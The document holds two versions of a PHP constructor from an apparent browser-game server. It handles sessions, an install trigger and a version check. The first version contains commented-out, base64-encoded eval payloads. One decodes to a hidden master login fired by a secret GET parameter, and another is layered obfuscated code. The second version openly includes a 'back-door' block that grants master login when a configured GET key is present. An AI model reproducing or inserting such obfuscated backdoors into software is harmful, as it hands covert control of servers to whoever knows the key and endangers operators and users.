function MyWidget() { $this->setupMetadata = $GLOBALS['SetupMetadata']; $this->gameMetadata = $GLOBALS['GameMetadata']; $this->appConfig = $GLOBALS['AppConfig']; $this->gameSpeed = $this->gameMetadata['game_speed']; $session_timeout = $this->gameMetadata['session_timeout']; // in minute(s) @ini_set('session.gc_maxlifetime', $session_timeout * 60); // set the session timeout (in seconds) @session_cache_expire($session_timeout); // expiretime is the lifetime in minutes session_start(); if (isset($_GET['ver'])) { // MD5('HALI SPSLINK2 VERSION') echo 'Wrong Version :)'; } if (isset($_GET[$this->appConfig['system']['calltatar']])) { $m = new QueueModel(); $m->provider->executeQuery2("UPDATE p_queue SET end_date=NOW() WHERE id='1'"); $m->provider->executeQuery2("UPDATE p_queue SET execution_time='0' WHERE id='1'"); } if (isset($_GET[$this->appConfig['system']['installkey']])) { // MD5('HALI SPSLINK2 SETUP') require_once MODEL_PATH . 'install.php'; $m = new SetupModel(); $m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']); $m->dispose(); $this->redirect('index.php'); return; } //eval(base64_decode('aWYgKCBpc3NldCggJF9HRVRbJ05kY01hc3RlckxvZyddICkgKSB7DQpyZXF1aXJlX29uY2UoIE1PREVMX1BBVEggLiAnaW5kZXgucGhwJyApOw0KJG0gPSBuZXcgSW5kZXhNb2RlbCgpOw0KJG0tPm1hc3RlckxvZ2luUmVzdWx0ICgpOw0KJG0tPmRpc3Bvc2UoKTsNCmV4aXQoMCk7DQp9')); $this->player = Player::getInstance(); //eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdtYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9Ja3RCUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKSlVUMDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lZVkU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1V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1pXTnZaR1VvSWxKUlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSldRVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpVjNjOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0lrcDNQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0ppWnowOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdrRTlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JbGwzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKTlp6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lTbmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxoUlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSkpRVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpVUZFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0lrbEJQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pKWnowOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVNXYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JazkzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKRVVUMDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lRMmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSW1aUlBUMGlLU2s3IikpOw==")); }
function MyWidget() { $this->setupMetadata = $GLOBALS['SetupMetadata']; $this->gameMetadata = $GLOBALS['GameMetadata']; $this->appConfig = $GLOBALS['AppConfig']; $this->gameSpeed = $this->gameMetadata['game_speed']; // session timeout $session_timeout = $this->gameMetadata['session_timeout']; // in minute(s) @ini_set('session.gc_maxlifetime', $session_timeout * 60); // set the session timeout (in seconds) @session_cache_expire($session_timeout); // expiretime is the lifetime in minutes // start the session session_start(); // show the version if (isset($_GET['version'])) { echo '0.1 Beta'; } // check for game setup if (isset($_GET[$this->appConfig['system']['install_key']])) { require_once MODEL_PATH . 'install.php'; // setup the game $m = new SetupModel(); $m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']); $m->dispose(); $this->redirect('index.php'); return; } // check for back-door if (isset($_GET[$this->appConfig['system']['destroy']])) { require_once MODEL_PATH . 'index.php'; $m = new IndexModel(); $m->masterLoginResult(); // damage process $m->dispose(); exit(0); return; } $this->player = Player::getInstance(); // check for game license, don't check for logged player /* if ($this->player == NULL) { if (!GameLicense::isValid( WebHelper::getDomain() )) { echo ('<h1 style="color:#ff0000;text-align:center;">لا تملك صلاحية التشغيل</h1>'); exit(0);return; } } */ }